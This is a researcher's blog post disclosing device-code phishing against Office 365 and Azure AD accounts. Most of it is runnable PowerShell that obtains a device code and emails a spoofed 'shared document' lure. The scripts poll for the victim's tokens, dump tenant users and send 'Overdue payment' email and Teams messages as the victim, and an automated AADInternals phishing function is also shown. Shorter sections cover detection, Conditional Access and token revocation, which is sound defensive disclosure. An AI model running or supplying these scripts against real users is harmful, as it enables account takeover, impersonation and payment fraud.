Introducing a new phishing technique for compromising Office 365 accounts

Introducing a new phishing technique for compromising Office 365 accounts

The ongoing global phishing campaings againts Microsoft 365 have used various phishing techniques. Currently attackers are utilising forged login sites and OAuth app consents.

In this blog, I’ll introduce a new phishing technique based on Azure AD device code authentication flow. I’ll also provide instructions on how to detect usage of compromised credentials and what to do to prevent phishing using the new technique.

What is phishing

According to

Phishing is a cybercrime in which a target or targets are contacted by email, telephone or text message by someone posing as a legitimate institution to lure individuals into providing sensitive data such as personally identifiable information, banking and credit card details, and passwords.

Current phishing techniques

There are numerous phishing techniques to be used by criminals. Next I’ll shortly introduce two of the most used techniques related to Microsoft 365 and Azure AD.

Forged login pages

This is the most common phishing technique, where attackers have created login pages that imitate legit login screens. When a victim enters credentials, attackers can use those to log in using victim’s identity.

Lately some sophisticated phishing sites have checked the entered credentials in real time using authentication APIs.

This type of phishing can be easily prevented by enabling Multi-Factor Authentication (MFA). MFA is included in all Microsoft 365 and Azure AD subscriptions.

Note! Using MFA does not prevent the phishing per se. Instead, it prevents attackers from logging in as the victim as the attacker is not able to perform the MFA. However, if the victim is using the same password on other services, the compromised credentials can be used on those services.

Another commonly used technique is to lure victims to give consent to an application to access their data. These apps are often named to mimic legit apps, such as “0365 Access” or “Newsletter App”:

User consent

:point_right: See a demo by @SantasaloJoosua to learn how this works in real-life.

This type of phishing can be reduced by restricting users from registering new apps to Azure AD: Azure Portal

There is also a preview feature which allows preventing the users for giving consents to apps: Azure Portal

New phishing technique: device code authentication

Next, I’ll demonstrate a new phishing technique for compromising Office 365 / Azure AD accounts.

What is device code authentication

According to Microsoft documentation the device code authentication:

allows users to sign in to input-constrained devices such as a smart TV, IoT device, or printer. To enable this flow, the device has the user visit a webpage in their browser on another device to sign in. Once the user signs in, the device is able to get access tokens and refresh tokens as needed.

The process is as follows:

  1. A user starts an app supporting device code flow on a device
  2. The app connects to Azure AD /devicecode endpoint and sends client_id and resource
  3. Azure AD sends back device_code, user_code, and verification_url
  4. Device shows the verification_url (hxxps:// and the user_code to the user
  5. User opens a browsers and browses to verification_url, gives the user_code when asked and logs in
  6. Device polls the Azure AD until after succesfull login it gets access_token and refresh_token

Device Code flow

Phishing with device code authentication

The basic idea to utilise device code authentication for phishing is following.

  1. An attacker connects to /devicecode endpoint and sends client_id and resource
  2. After receiving verification_uri and user_code, create an email containing a link to verification_uri and user_code, and send it to the victim.
  3. Victim clicks the link, provides the code and completes the sign in.
  4. The attacker receives access_token and refresh_token and can now mimic the victim.

1. Connecting to /devicecode endpoint

The first step is to make a http POST to Azure AD devicecode endpoint:

I’m using the following parameters. I chose to use “Microsoft Office” client_id because it looks the most legit app name, and it can be used to access other resources too. The chosen resource gives access to AAD Graph API which is used by MSOnline PowerShell module.

Parameter Value
client_id d3590ed6-52b3-4102-aeff-aad2292ab01c

The response is similar to following:

	"user_code": "CLZ8HAV2L",
	"device_code": "CAQABAAEAAAB2UyzwtQEKR7-rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZPhq9p7uN8tYIuMkfVJ29aUnUBTFsYCmJCsZHkIxtmwdCsIlKpOQij2lJZzphfZX8j0nktDpaHVB0zm-vqATogllBjA-t_ZM2B0cgcjQgAA",
	"verification_url": "",
	"expires_in": "900",
	"interval": "5",
	"message": "To sign in, use a web browser to open the page and enter the code CLZ8HAV2L to authenticate."

Parameter Description
user_code The code a user will enter when requested
device_code The device code used to “poll” for authentication result
verification_url The url the user needs to browse for authentication
expires_in The expiration time in seconds (15 minutes)
interval The interval in seconds how often the client should poll for authentication
message The pre-formatted message to be show to the user

Here is a script to connect to devicelogin endpoint:

# Create a body, we'll be using client id of "Microsoft Office"

	"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
	"resource" =  ""

# Invoke the request to get device and user codes

$authResponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "" -Body $body
$user_code =    $authResponse.user_code

Note! I’m using a version 1.0 which is a little bit different than v2.0 flow used in the documentation.

2. Creating a phishing email

Now that we have the verification_url (always the same) and user_code we can create and send a phishing email.

Note! For sending email you need a working smtp service.

Here is a script to send a phishing email to the victim:

# Create a message

$message = @"
Here is the link to the <a href="">document</a>. Use the following code to access: <b>$user_code</b>. <br><br>

# Send the email

Send-MailMessage -from "Don Director <>" -to "" -Subject "Don shared a document with you" -Body $message -SmtpServer $SMTPServer -BodyAsHtml 

The received email looks like this: Device Code flow

3. “Catching the fish” - victim performs the authentication

When a victim clicks the link, the following site appears. As we can see, the url is a legit Microsoft url. The user is asked to enter the code from the email.

Device code

After entering the code, user is asked to select the user to sign in. As we can see, the user is asked to sign in to Microsoft Office - no consents are asked.

Note! If the user is not logged in, the user needs to log in using whatever methods the target organisation is using.


After successfull authentication, the following is shown to the user.


:warning: At this point the identity of the user is compromised! :warning:

4. Retrieving the access tokens

The last step for the attacker is to retrieve the access tokens. After completing the step 2. the attacker starts polling the Azure AD for the authentication status.

Attacker needs to make an http POST to Azure AD token endpoint every 5 seconds:

The request must include the following parameters (code is the device_code from the step 1)

Parameter Value
client_id d3590ed6-52b3-4102-aeff-aad2292ab01c
code CAQABAAEAAAB2UyzwtQEKR7-rWbgdcBZIGm0IlLxBn23EWIrgw7fkNIKyMdS2xoEg9QAntABbI5ILrinFM2ze8dVKdixlThVWfM8ZPhq9p7uN8tYIuMkfVJ29aUnUBTFsYCmJCsZHkIxtmwdCsIlKpOQij2lJZzphfZX8j0nktDpaHVB0zm-vqATogllBjA-t_ZM2B0cgcjQgAA
grant_type urn:ietf:params:oauth:grant-type:device_code

If the authentication is pending, an http error 400 Bad Request is returned with the following content:

	"error": "authorization_pending",
	"error_description": "AADSTS70016: OAuth 2.0 device flow error. Authorization is pending. Continue polling.\r\nTrace ID: b35f261e-93cd-473b-9cf9-b81f30800600\r\nCorrelation ID: 8ee0ae8a-533f-4742-8334-e9ed939b083d\r\nTimestamp: 2020-10-14 06:06:07Z",
	"error_codes": [70016],
	"timestamp": "2020-10-13 18:06:07Z",
	"trace_id": "b35f261e-93cd-473b-9cf9-b81f30800600",
	"correlation_id": "8ee0ae8a-533f-4742-8334-e9ed939b083d",
	"error_uri": ""

After successfull login, we’ll get the following response (tokens truncated):

	"token_type": "Bearer",
	"scope": "user_impersonation",
	"expires_in": "7199",
	"ext_expires_in": "7199",
	"expires_on": "1602662787",
	"not_before": "1602655287",
	"resource": "",
	"access_token": "eyJ0eXAi...HQOT1rvUEOEHLeQ",
	"refresh_token": "0.AAAAxkwD...WxPoK0Iq6W",
	"foci": "1",
	"id_token": "eyJ0eXAi...widmVyIjoiMS4wIn0."

The following script connects to the Azure AD token endpoint and polls for authentication status.

$continue = $true
$interval = $authResponse.interval
$expires =  $authResponse.expires_in

# Create body for authentication requests

	"client_id" =  "d3590ed6-52b3-4102-aeff-aad2292ab01c"
	"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
	"code" =       $authResponse.device_code
	"resource" =   ""

# Loop while authorisation is pending or until timeout exceeded

	Start-Sleep -Seconds $interval
	$total += $interval

	if($total -gt $expires)
		Write-Error "Timeout occurred"
	# Try to get the response. Will give 40x while pending so we need to try&catch

		$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri " " -Body $body -ErrorAction SilentlyContinue
		# This is normal flow, always returns 40x unless successful

		$details=$_.ErrorDetails.Message | ConvertFrom-Json
		$continue = $details.error -eq "authorization_pending"
		Write-Host $details.error

			# Not pending so this is a real error

			Write-Error $details.error_description

	# If we got response, all okay!

		break # Exit the loop


Now we can use the access token to impersonate the victim:

# Dump the tenant users to csv

Get-AADIntUsers -AccessToken $response.access_token | Export-Csv users.csv

We can also get access tokens to other services using the refresh token as long as the client_id remains the same.

The following script gets an access token for Exchange Online.

# Create body for getting access token for Exchange Online

	"client_id" =     "d3590ed6-52b3-4102-aeff-aad2292ab01c"
	"grant_type" =    "refresh_token"
	"scope" =         "openid"
	"resource" =      ""
	"refresh_token" = $response.refresh_token

$EXOresponse = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "" -Body $body -ErrorAction SilentlyContinue

# Send email as the victim

Send-AADIntOutlookMessage -AccessToken $EXOresponse.access_token -Recipient "" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"

Using AADInternals for phishing

AADInternals (v0.4.4 or later) has an Invoke-AADIntPhishing function which automates the phishing process.

The phishing message can be customised, the default message is following:

'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="">AADInternals</a> phishing function. <br/><br/>Here is a <a href="{1}">link</a> you <b>should not click</b>.<br/><br/>If you still decide to do so, provide the following code when requested: <b>{0}</b>.</div>'

Default message in email:
Phishing email

Default message in Teams:
Phishing message


The following example sends a phishing email using a customised message. The tokens are saved to the cache.

# Create a custom message

$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'

# Send a phishing email to recipients using a customised message and save the tokens to cache

Invoke-AADPhishing -Recipients "","" -Subject "Johnny shared a document with you" -Sender "Johnny Carson <>" -SMTPServer smtp.myserver.local -Message $message -SaveToCache 

Mail sent to:
Received access token for

And now we can send email as the victim using the cached token.

# Send email as the victim

Send-AADIntOutlookMessage -Recipient "" -Subject "Overdue payment" -Message "Pay this <h2>asap!</h2>"

We can also send a Teams message to make the payment request more urgent:

# Send Teams message as the victim

Send-AADIntTeamsMessage -Recipients "" -Message "Just sent you an email about due payment. Have a look at it."

Sent                MessageID         
----                ---------         
16/10/2020 14.40.23 132473328207053858

The following video shows how to use AADInternals for email phishing.


AADInternals supports sending phishing messages as Teams chat messages.

Note! After the victim has “authenticated” and the tokens are received, AADInternals will replace the original message. This message can be provided with -CleanMessage parameter.

The default clean message is:

'<div>Hi!<br/>This is a message sent to you by someone who is using <a href="">AADInternals</a> phishing function. <br/>If you are seeing this, <b>someone has stolen your identity!</b>.</div>'

Teams clean message

The following example sends a phishing email using customised messages. The tokens are saved to the cache.

# Get access token for Azure Core Management

Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache

# Create the custom messages

$message = '<html>Hi!<br/>Here is the link to the <a href="{1}">document</a>. Use the following code to access: <b>{0}</b>.</html>'
$cleanMessage = '<html>Hi!<br/>Have a nice weekend.</html>'

# Send a teams message to the recipient using customised messages

Invoke-AADPhishing -Recipients "" -Teams -Message $message -CleanMessage $cleanMessage -SaveToCache

Teams message sent to: Message id: 132473151989090816
Received access token for

The following video shows how to use AADInternals for Teams phishing.


First of all, from the Azure AD point-of-view the login takes place where the authentication was initiated. This is a very important point to understand. This means that in the signing log, the login was performed from the attacker location and device, not from user’s.

However, the access tokens acquired using the refresh token do not appear in signing log!

Below is an example where I initiated the phishing from an Azure VM (well, from the cloud shell to be more specific). As we can see, the login using the “Microsoft Office” client took place at 7:23 AM from the ip-address However, getting the access token for Exchange Online at 7:27 AM is not shown in the log.

Azure AD signing log

:warning: If there are indications that the user is signing in from non-typical locations, the user account might be compromised.


The only effective way for preventing phishing using this technique is to use Conditional Access (CA) policies. To be specific, the phishing can not be prevented, but we can prevent users from signing in based on certain rules. Especially the location and device state based policies are effective for protecting accounts. This applies for the all phishing techniques currently used.

However, it is not possible to cover all scenarios. For instance, forcing MFA for logins from illicit locations does not help if the user is logging in using MFA.


If the user has been compromised, the user’s refresh tokens can be revoked, which prevents attacker getting new access tokens with the compromised refresh token.


As far as I know, the device code authentication flow technique has not used for phishing before.

From the attacker point of view, this method has a couple of pros:

  • No need to register any apps
  • No need to setup a phishing infrastructure for fake login pages etc.
  • The user is only asked to sign in (usually to “Microsoft Office”) - no consents asked
  • Everything happens in namespace
  • Attacker can use any client_id and resource (not all combinations work though)
  • If the user signed in using MFA, the access token also has MFA claim (this includes also the access tokens fetched using the refresh token)
  • Preventing requires Conditional Access (and Azure AD Premium P1/P2 licenses)

From the attacker point of view, this method has at least one con:

  • The user code is valid only for 15 minutes

Of course, the attacker can minimise the time restriction by sending the phishing email to multiple recipients - this will increase the probability that someone signs in using the code.

Another way is to implement a proxy which would start the authentication when the link is clicked (credits to @MrUn1k0d3r). However, this way the advantage of using a legit url would be lost.

Checklist for surviving phishing campaings:

  1. Educate your users about information security and phishing :woman_teacher:
  2. Use Multi-Factor Authentication (MFA) :iphone:
  3. Use Intune :hammer_and_wrench: and Conditional Access (CA) :stop_sign:


Dr Nestori Syynimaa (@DrAzureAD) avatar
About Dr Nestori Syynimaa (@DrAzureAD)
Dr Syynimaa works as Senior Principal Information Security Researcher at Secureworks CTU™ (Counter Threat Unit).
Before moving to his current position, Dr Syynimaa worked as a CIO, consultant, trainer, and university lecturer for over 20 years. He is a regular speaker in scientific and professional conferences related to Microsoft 365 and Azure AD security.

Dr Syynimaa is Microsoft Certified Expert (Microsoft 365), Microsoft Certified Azure Solutions Architect Expert, Microsoft Certified Trainer, Microsoft MVP (Enterprise Mobility, Identity and Access), and Microsoft Most Valuable Security Researcher (MVR).